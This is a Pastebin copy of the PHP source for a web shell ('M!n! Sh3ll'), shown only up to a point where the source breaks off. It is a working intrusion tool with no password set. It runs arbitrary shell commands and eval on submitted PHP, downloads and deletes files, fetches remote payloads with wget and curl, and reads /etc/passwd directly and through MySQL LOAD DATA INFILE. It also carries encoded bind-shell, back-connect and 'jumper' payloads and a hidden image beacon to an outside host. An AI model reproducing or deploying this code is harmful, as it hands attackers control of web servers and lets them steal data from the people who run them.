API tools faq
paste
Rajaouips

M!n! Sh3ll

Rajaouips
Feb 7th, 2017
463
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 42.99 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. echo '<img src="http://ww3s.ws/TR/HTML5/CSS3/fsocity.jpg" height="0" width="0"><body>';
  3. error_reporting(0);
  4. @set_time_limit(0);
  5. @session_start();
  6. // server software
  7. $xSoftware = trim(getenv("SERVER_SOFTWARE"));
  8. // server name
  9. $xServerName = $_SERVER["HTTP_HOST"];
  10. // process login password
  11. $xPass = $_POST['pass'];
  12. // checking login status
  13. $xCheck_login = 1;
  14. // login password
  15. $xPassword = "";
  16. // your nickname ;)
  17. $xName = "./Rajaoui-PS";
  18. //Shell No Password
  19. if (isset($_GET['dl']) && ($_GET['dl'] != "")) {
  20. $file = $_GET['dl'];
  21. $filez = @file_get_contents($file);
  22. header("Content-type: application/octet-stream");
  23. header("Content-length: " . strlen($filez));
  24. header("Content-disposition: attachment; filename=\"" . basename($file) . "\";");
  25. echo $filez;
  26. exit;
  27. } elseif (isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")) {
  28. $file = $_GET['dlgzip'];
  29. $filez = gzencode(@file_get_contents($file));
  30. header("Content-Type:application/x-gzip\n");
  31. header("Content-length: " . strlen($filez));
  32. header("Content-disposition: attachment; filename=\"" . basename($file) . ".gz\";");
  33. echo $filez;
  34. exit;
  35. }
  36. if (isset($_GET['img'])) {
  37. @ob_clean();
  38. $d = magicboom($_GET['y']);
  39. $f = $_GET['img'];
  40. $inf = @getimagesize($d . $f);
  41. $ext = explode($f, ".");
  42. $ext = $ext[count($ext) - 1];
  43. @header("Content-type: " . $inf["mime"]);
  44. @header("Cache-control: public");
  45. @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
  46. @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
  47. @readfile($d . $f);
  48. exit;
  49. }
  50. $ver = "1.01";
  51. $software = getenv("SERVER_SOFTWARE");
  52. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  53. $safemode = TRUE;
  54. else
  55. $safemode = FALSE;
  56. $system = @php_uname();
  57. if (strtolower(substr($system, 0, 3)) == "win")
  58. $win = TRUE;
  59. else
  60. $win = FALSE;
  61. if (isset($_GET['y'])) {
  62. if (@is_dir($_GET['view'])) {
  63. $pwd = $_GET['view'];
  64. @chdir($pwd);
  65. } else {
  66. $pwd = $_GET['y'];
  67. @chdir($pwd);
  68. }
  69. }
  70. if (!$win) {
  71. if (!$user = rapih(exe("whoami")))
  72. $user = "";
  73. if (!$id = rapih(exe("id")))
  74. $id = "";
  75. $prompt = $user . " \$ ";
  76. $pwd = @getcwd() . DIRECTORY_SEPARATOR;
  77. } else {
  78. $user = @get_current_user();
  79. $id = $user;
  80. $prompt = $user . " &gt;";
  81. $pwd = realpath(".") . "\\";
  82. $v = explode("\\", $d);
  83. $v = $v[0];
  84. foreach (range("A", "Z") as $letter) {
  85. $bool = @is_dir($letter . ":\\");
  86. if ($bool) {
  87. $letters .= "<a href=\"?y=" . $letter . ":\\\">[ ";
  88. if ($letter . ":" != $v) {
  89. $letters .= $letter;
  90. } else {
  91. $letters .= "<span class=\"gaya\">" . $letter . "</span>";
  92. }
  93. $letters .= " ]</a> ";
  94. }
  95. }
  96. }
  97. if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
  98. $posix = TRUE;
  99. else
  100. $posix = FALSE;
  101. $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
  102. $my_ip = $_SERVER['REMOTE_ADDR'];
  103. $bindport = "13123";
  104. $bindport_pass = "Rajaoui";
  105. $pwds = explode(DIRECTORY_SEPARATOR, $pwd);
  106. $pwdurl = "";
  107. for ($i = 0; $i < sizeof($pwds) - 1; $i++) {
  108. $pathz = "";
  109. for ($j = 0; $j <= $i; $j++) {
  110. $pathz .= $pwds[$j] . DIRECTORY_SEPARATOR;
  111. }
  112. $pwdurl .= "<a href=\"?y=" . $pathz . "\">" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
  113. }
  114. if (isset($_POST['rename'])) {
  115. $old = $_POST['oldname'];
  116. $new = $_POST['newname'];
  117. @rename($pwd . $old, $pwd . $new);
  118. $file = $pwd . $new;
  119. }
  120. $buff = $software . "<br />";
  121. $buff .= $system . "<br />";
  122. if ($id != "")
  123. $buff .= $id . "<br />";
  124. $buff .= "server ip : " . $server_ip . " <span class=\"gaya\">|</span> your ip : " . $my_ip . "<br />";
  125. if ($safemode)
  126. $buff .= "safemode <span class=\"gaya\">ON</span><br />";
  127. else
  128. $buff .= "safemode <span class=\"gaya\">OFF<span><br />";
  129. $buff .= $letters . "&nbsp;&gt;&nbsp;" . $pwdurl;
  130. function rapih($text)
  131. {
  132. return trim(str_replace("<br />", "", $text));
  133. }
  134. function magicboom($text)
  135. {
  136. if (!get_magic_quotes_gpc()) {
  137. return $text;
  138. }
  139. return stripslashes($text);
  140. }
  141. function showdir($pwd, $prompt)
  142. {
  143. $fname = array();
  144. $dname = array();
  145. if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
  146. $posix = TRUE;
  147. else
  148. $posix = FALSE;
  149. $user = "????:????";
  150. if ($dh = opendir($pwd)) {
  151. while ($file = readdir($dh)) {
  152. if (is_dir($file)) {
  153. $dname[] = $file;
  154. } elseif (is_file($file)) {
  155. $fname[] = $file;
  156. }
  157. }
  158. closedir($dh);
  159. }
  160. sort($fname);
  161. sort($dname);
  162. $path = @explode(DIRECTORY_SEPARATOR, $pwd);
  163. $tree = @sizeof($path);
  164. $parent = "";
  165. $buff = " <form action=\"?y=" . $pwd . "&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\"> <table class=\"cmdbox\" style=\"width:50%;\"> <tr><td>$prompt</td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form> <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <tr><td>view file/folder</td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"" . $pwd . "\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form></table><table class=\"explore\"> <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr> ";
  166. if ($tree > 2)
  167. for ($i = 0; $i < $tree - 2; $i++)
  168. $parent .= $path[$i] . DIRECTORY_SEPARATOR;
  169. else
  170. $parent = $pwd;
  171. foreach ($dname as $folder) {
  172. if ($folder == ".") {
  173. if (!$win && $posix) {
  174. $name = @posix_getpwuid(@fileowner($folder));
  175. $group = @posix_getgrgid(@filegroup($folder));
  176. $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
  177. } else {
  178. $owner = $user;
  179. }
  180. $buff .= "<tr><td><a href=\"?y=" . $pwd . "\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">" . $owner . "</td><td>" . get_perms($pwd) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id=\"titik1\"><a href=\"?y=$pwd&amp;edit=" . $pwd . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" /> </form></td></tr> ";
  181. } elseif ($folder == "..") {
  182. if (!$win && $posix) {
  183. $name = @posix_getpwuid(@fileowner($folder));
  184. $group = @posix_getgrgid(@filegroup($folder));
  185. $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
  186. } else {
  187. $owner = $user;
  188. }
  189. $buff .= "<tr><td><a href=\"?y=" . $parent . "\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">" . $owner . "</td><td>" . get_perms($parent) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($parent)) . "</td><td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=" . $parent . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" /> </form> </td></tr>";
  190. } else {
  191. if (!$win && $posix) {
  192. $name = @posix_getpwuid(@fileowner($folder));
  193. $group = @posix_getgrgid(@filegroup($folder));
  194. $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
  195. } else {
  196. $owner = $user;
  197. }
  198. $buff .= "<tr><td><a id=\"" . clearspace($folder) . "_link\" href=\"?y=" . $pwd . $folder . DIRECTORY_SEPARATOR . "\">[ $folder ]</a> <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $folder . "\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');\" /> </form> <td>DIR</td><td style=\"text-align:center;\">" . $owner . "</td><td>" . get_perms($pwd . $folder) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($folder)) . "</td><td><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=" . $pwd . $folder . "\">delete</a></td></tr>";
  199. }
  200. }
  201. foreach ($fname as $file) {
  202. $full = $pwd . $file;
  203. if (!$win && $posix) {
  204. $name = @posix_getpwuid(@fileowner($file));
  205. $group = @posix_getgrgid(@filegroup($file));
  206. $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
  207. } else {
  208. $owner = $user;
  209. }
  210. $buff .= "<tr><td><a id=\"" . clearspace($file) . "_link\" href=\"?y=$pwd&amp;view=$full\">$file</a> <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $file . "\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\" /> </form> </td><td>" . ukuran($full) . "</td><td style=\"text-align:center;\">" . $owner . "</td><td>" . get_perms($full) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($full)) . "</td> <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
  211. }
  212. $buff .= "</table>";
  213. return $buff;
  214. }
  215. function ukuran($file)
  216. {
  217. if ($size = @filesize($file)) {
  218. if ($size <= 1024)
  219. return $size;
  220. else {
  221. if ($size <= 1024 * 1024) {
  222. $size = @round($size / 1024, 2);
  223. ;
  224. return "$size kb";
  225. } else {
  226. $size = @round($size / 1024 / 1024, 2);
  227. return "$size mb";
  228. }
  229. }
  230. } else
  231. return "???";
  232. }
  233. function exe($cmd)
  234. {
  235. if (function_exists('system')) {
  236. @ob_start();
  237. @system($cmd);
  238. $buff = @ob_get_contents();
  239. @ob_end_clean();
  240. return $buff;
  241. } elseif (function_exists('exec')) {
  242. @exec($cmd, $results);
  243. $buff = "";
  244. foreach ($results as $result) {
  245. $buff .= $result;
  246. }
  247. return $buff;
  248. } elseif (function_exists('passthru')) {
  249. @ob_start();
  250. @passthru($cmd);
  251. $buff = @ob_get_contents();
  252. @ob_end_clean();
  253. return $buff;
  254. } elseif (function_exists('shell_exec')) {
  255. $buff = @shell_exec($cmd);
  256. return $buff;
  257. }
  258. }
  259. function tulis($file, $text)
  260. {
  261. $textz = gzinflate(base64_decode($text));
  262. if ($filez = @fopen($file, "w")) {
  263. @fputs($filez, $textz);
  264. @fclose($file);
  265. }
  266. }
  267. function ambil($link, $file)
  268. {
  269. if ($fp = @fopen($link, "r")) {
  270. while (!feof($fp)) {
  271. $cont .= @fread($fp, 1024);
  272. }
  273. @fclose($fp);
  274. $fp2 = @fopen($file, "w");
  275. @fwrite($fp2, $cont);
  276. @fclose($fp2);
  277. }
  278. }
  279. function which($pr)
  280. {
  281. $path = exe("which $pr");
  282. if (!empty($path)) {
  283. return trim($path);
  284. } else {
  285. return trim($pr);
  286. }
  287. }
  288. function download($cmd, $url)
  289. {
  290. $namafile = basename($url);
  291. switch ($cmd) {
  292. case 'wwget':
  293. exe(which('wget') . " " . $url . " -O " . $namafile);
  294. break;
  295. case 'wlynx':
  296. exe(which('lynx') . " -source " . $url . " > " . $namafile);
  297. break;
  298. case 'wfread':
  299. ambil($wurl, $namafile);
  300. break;
  301. case 'wfetch':
  302. exe(which('fetch') . " -o " . $namafile . " -p " . $url);
  303. break;
  304. case 'wlinks':
  305. exe(which('links') . " -source " . $url . " > " . $namafile);
  306. break;
  307. case 'wget':
  308. exe(which('GET') . " " . $url . " > " . $namafile);
  309. break;
  310. case 'wcurl':
  311. exe(which('curl') . " " . $url . " -o " . $namafile);
  312. break;
  313. default:
  314. break;
  315. }
  316. return $namafile;
  317. }
  318. function get_perms($file)
  319. {
  320. if ($mode = @fileperms($file)) {
  321. $perms = '';
  322. $perms .= ($mode & 00400) ? 'r' : '-';
  323. $perms .= ($mode & 00200) ? 'w' : '-';
  324. $perms .= ($mode & 00100) ? 'x' : '-';
  325. $perms .= ($mode & 00040) ? 'r' : '-';
  326. $perms .= ($mode & 00020) ? 'w' : '-';
  327. $perms .= ($mode & 00010) ? 'x' : '-';
  328. $perms .= ($mode & 00004) ? 'r' : '-';
  329. $perms .= ($mode & 00002) ? 'w' : '-';
  330. $perms .= ($mode & 00001) ? 'x' : '-';
  331. return $perms;
  332. } else
  333. return "??????????";
  334. }
  335. function clearspace($text)
  336. {
  337. return str_replace(" ", "_", $text);
  338. }
  339. $port_bind_bd_c = "bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jv f+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJ EP/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41Z ZdKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6V L3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKu gUq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpX kHDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4 WtyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsU LZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk 6uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
  340. $port_bind_bd_pl = "ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr 1NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfw gtNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQk De/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM 0LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrV ovaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjG B+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
  341. $back_connect = "fZFRS8MwF IXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0StktGB8aihs prPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28jS2whVulCf lCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZja3ImclYa gh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92 +rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
  342. $back_connect_c = "XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29r WhyEzc+Z2TjpSserABYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95 /3Wa43fpotyCABR95zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vK C1rI6wgSmN/niYb75i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVC nim7a/ZuJC0JTwf3ARkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlx iuPB3E0/gXejiHMcYjwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3X Ie1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
  343. $jumper = "3VRRb5swEP4rFwvNRqVAtkmTEiCTpk7aHjppe5rSiBlsilfAyDZrs2r/fefQpM3LfsCEMObuu++7Ox/IutVAMserTkLdcWvzG1L3otIPN6TInMFbQK07O/IBXa/RStbAAttDDmpQ5a10jFreyLLXQtIQ8hzSEDYwQ6huGroCoSQjV8Zos4JvRzC6vwxZ4kSBi/GLT6PIhPp1ykUNjUbNbVlWb969vYN+OSwh89mcILd8z32yHFojm5xuaEHi4OGa9zImWcKR2OMLuBLKKX1dlrssQY0CzpR+zjTwGZ8db+HTIPQgreJ3E7yq9bhfA4kFd5LR7zRyqpcsDGMCz1qwvgxhpibhGqx0pYeVneqVYyma3gcjit0LrLzRoxwYTaSrk9lII2ooglQDbPEEDOHR9w4Y2V7u4NBAWMEHPYnhh4Ovkgt4wfD/9vIPBONUYdu4MXzP0BJMVhp7Zqn10JwZFL6la7hvVSfZopG6Yce+ho84oM74g8AJtif73H6MLGCZph41aq+CWNwwHxPRFT0mMGCy3jtV6Ji9aeRDPEAo89t/Akmre5nQ+BQR0wSr6VRdtq7vEjqLsmfGBUZRn6O3K1saPGh/nuzA6R2HIstxsu0cZqNTNEq/9KJSNIf5NvorUBcXft9o5K1beGIAbueikF76/wLdftTTIGCxg+NAkM0+PyvnvBRS/MOZHOanMgX14pviLw==";
  344. ?>
  345. <html>
  346. <head>
  347. <title>:: Sh3ll m1n1 <?php
  348. echo $xName;
  349. ?> EditioN ::</title>
  350. <script type="text/javascript"> function tukar(lama,baru){ document.getElementById(lama).style.display = 'none'; document.getElementById(baru).style.display = 'block'; } </script>
  351. <style type="text/css"> body {
  352. background-image: url("http://cdn01.wallconvert.com/_media/conv/1/12/117130-razer-wallpaper-hd.jpg"); background-repeat: repeat-y;
  353. background-position: right top;
  354. } a { text-decoration:none; } a:hover{ border-bottom:1px solid #4C83AF; } *{ font-size:11px; font-family:Tahoma,Verdana,Arial; color:#FFFFFF; } #menu{ background:#111111; margin:8px 2px 4px 2px; } #menu a{ padding:4px 18px; margin:0; background:#222222; text-decoration:none; letter-spacing:2px; } #menu a:hover{ background:#191919; border-bottom:1px solid #333333; border-top:1px solid #333333; } .tabnet{ margin:15px auto 0 auto; border: 1px solid #333333; } .main { width:90%; background:#000000; margin:30px auto 10px; padding:10px 10px 5px 10px; border-radius:5px; -moz-border-radius:5px; -moz-box-shadow:0px 0px 10px #00b4ff; -webkit-box-shadow:0px 0px 5px #00b4ff;} .gaya { color: #4C83AF; } .gaya a { color: #4C83AF; } .inputz{ background:#111111; border:0; padding:2px; border-bottom:1px solid #222222; border-top:1px solid #222222; } .inputzbut{ background:#111111; color:#4C83AF; margin:0 4px; border:1px solid #444444; cursor:pointer;} .inputz:hover, .inputzbut:hover{ border-bottom:1px solid #4C83AF; border-top:1px solid #4C83AF; } .output { margin:auto; border:1px solid #4C83AF; width:100%; height:400px; background:#000000; padding:0 2px; } .cmdbox{ width:100%; } .head_info{ padding: 0 4px; } .b1{ font-size:30px; padding:0; color:#444444; } .b2{ font-size:30px; padding:0; color: #333333; } .b_tbl{ text-align:center; margin:0 4px 0 0; padding:0 4px 0 0; border-right:1px solid #333333; } .phpinfo table{ width:100%; padding:0 0 0 0; } .phpinfo td{ background:#111111; color:#cccccc; padding:6px 8px;; } .phpinfo th, th{ background:#191919; border-bottom:1px solid #333333; font-weight:normal; } .phpinfo h2, .phpinfo h2 a{ text-align:center; font-size:16px; padding:0; margin:30px 0 0 0; background:#222222; padding:4px 0; } .explore{ width:100%; } .explore a { text-decoration:none; } .explore td{ border-bottom:1px solid #333333; padding:0 8px; line-height:24px; } .explore th{ padding:3px 8px; font-weight:normal; } .explore th:hover , .phpinfo th:hover{ border-bottom:1px solid #4C83AF; } .explore tr:hover{ background:#374374; cursor:pointer; } .viewfile{ background:#EDECEB; color:#000000; margin:4px 2px; padding:8px; } .sembunyi{ display:none; padding:0;margin:0;} .info{ background:#111111; width:99%; padding:5px; margin:10px auto 5px; text-align:center; font-size:13px;} .info a{ font-size:14px;} .info span{ font-size:14px;} .jaya{ margin:5px; text-align:right; }
  355. </style>
  356. </head>
  357. <body onLoad="document.getElementById('cmd').focus();">
  358. <div class="main">
  359. <!-- head info start here -->
  360. <div class="head_info">
  361. <table>
  362. <tr>
  363. <td>
  364. <table class="b_tbl">
  365. <tr>
  366. <td><a href="#"><span class="b1">G<span class="b2">HOS</span>T</span></a></td>
  367. </tr>
  368. <tr>
  369. <td><span class="gaya"><?php
  370. echo $xName;
  371. ?></span> EditioN</td>
  372. </tr>
  373. </table>
  374. </td>
  375. <td><?php
  376. echo $buff;
  377. ?></td>
  378. </tr>
  379. </table>
  380. </div>
  381. <!-- head info end here --> <!-- menu start -->
  382. <div id="menu"> <a href="?<?php
  383. echo "y=" . $pwd;
  384. ?>">explore</a> <a href="?<?php
  385. echo "y=" . $pwd;
  386. ?>&amp;x=shell">shell</a> <a href="?<?php
  387. echo "y=" . $pwd;
  388. ?>&amp;x=php">eval</a> <a href="?<?php
  389. echo "y=" . $pwd;
  390. ?>&amp;x=mysql">mysql</a> <a href="?<?php
  391. echo "y=" . $pwd;
  392. ?>&amp;x=phpinfo">phpinfo</a> <a href="?<?php
  393. echo "y=" . $pwd;
  394. ?>&amp;x=netsploit">netsploit</a> <a href="?<?php
  395. echo "y=" . $pwd;
  396. ?>&amp;x=upload">upload</a> <a href="?<?php
  397. echo "y=" . $pwd;
  398. ?>&amp;x=jumping">jumping</a> <a href="?<?php
  399. echo "y=" . $pwd;
  400. ?>&amp;x=logout">logout</a> </div>
  401. <!-- menu end --> <?php
  402. if (isset($_GET['x']) && ($_GET['x'] == 'php')) {
  403. ?>
  404. <form action="?y=<?php
  405. echo $pwd;
  406. ?>&amp;x=php" method="post">
  407. <table class="cmdbox">
  408. <tr>
  409. <td> <textarea class="output" name="cmd" id="cmd"> <?php
  410. if (isset($_POST['submitcmd'])) {
  411. echo eval(magicboom($_POST['cmd']));
  412. } else
  413. echo "echo file_get_contents('/etc/passwd');";
  414. ?> </textarea>
  415. <tr>
  416. <td><input style="width:6%;margin:0px;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td>
  417. </tr>
  418. </form>
  419. </table> </form> <?php
  420. } elseif (isset($_GET['x']) && ($_GET['x'] == 'mysql')) {
  421. if (isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])) {
  422. $sqlhost = $_GET['sqlhost'];
  423. $sqluser = $_GET['sqluser'];
  424. $sqlpass = $_GET['sqlpass'];
  425. $sqlport = $_GET['sqlport'];
  426. if ($con = @mysql_connect($sqlhost . ":" . $sqlport, $sqluser, $sqlpass)) {
  427. $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
  428. $msg .= "<p>Connected to " . $sqluser . "<span class=\"gaya\">@</span>" . $sqlhost . ":" . $sqlport;
  429. $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;\">[ databases ]</a>";
  430. if (isset($_GET['db']))
  431. $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $_GET['db'] . "\">" . htmlspecialchars($_GET['db']) . "</a>";
  432. if (isset($_GET['table']))
  433. $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $_GET['db'] . "&amp;table=" . $_GET['table'] . "\">" . htmlspecialchars($_GET['table']) . "</a>";
  434. $msg .= "</p><p>version : " . mysql_get_server_info($con) . " proto " . mysql_get_proto_info($con) . "</p>";
  435. $msg .= "</div>";
  436. echo $msg;
  437. if (isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))) {
  438. $db = $_GET['db'];
  439. $query = "DROP TABLE IF EXISTS Rajaoui_table;\nCREATE TABLE `Rajaoui_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE Rajaoui_table;SELECT * FROM Rajaoui_table;\nDROP TABLE IF EXISTS Rajaoui_table;";
  440. $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
  441. $tables = array();
  442. $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on " . $db . "</th></tr>";
  443. $hasil = @mysql_list_tables($db, $con);
  444. while (list($table) = @mysql_fetch_row($hasil)) {
  445. @array_push($tables, $table);
  446. }
  447. @sort($tables);
  448. foreach ($tables as $table) {
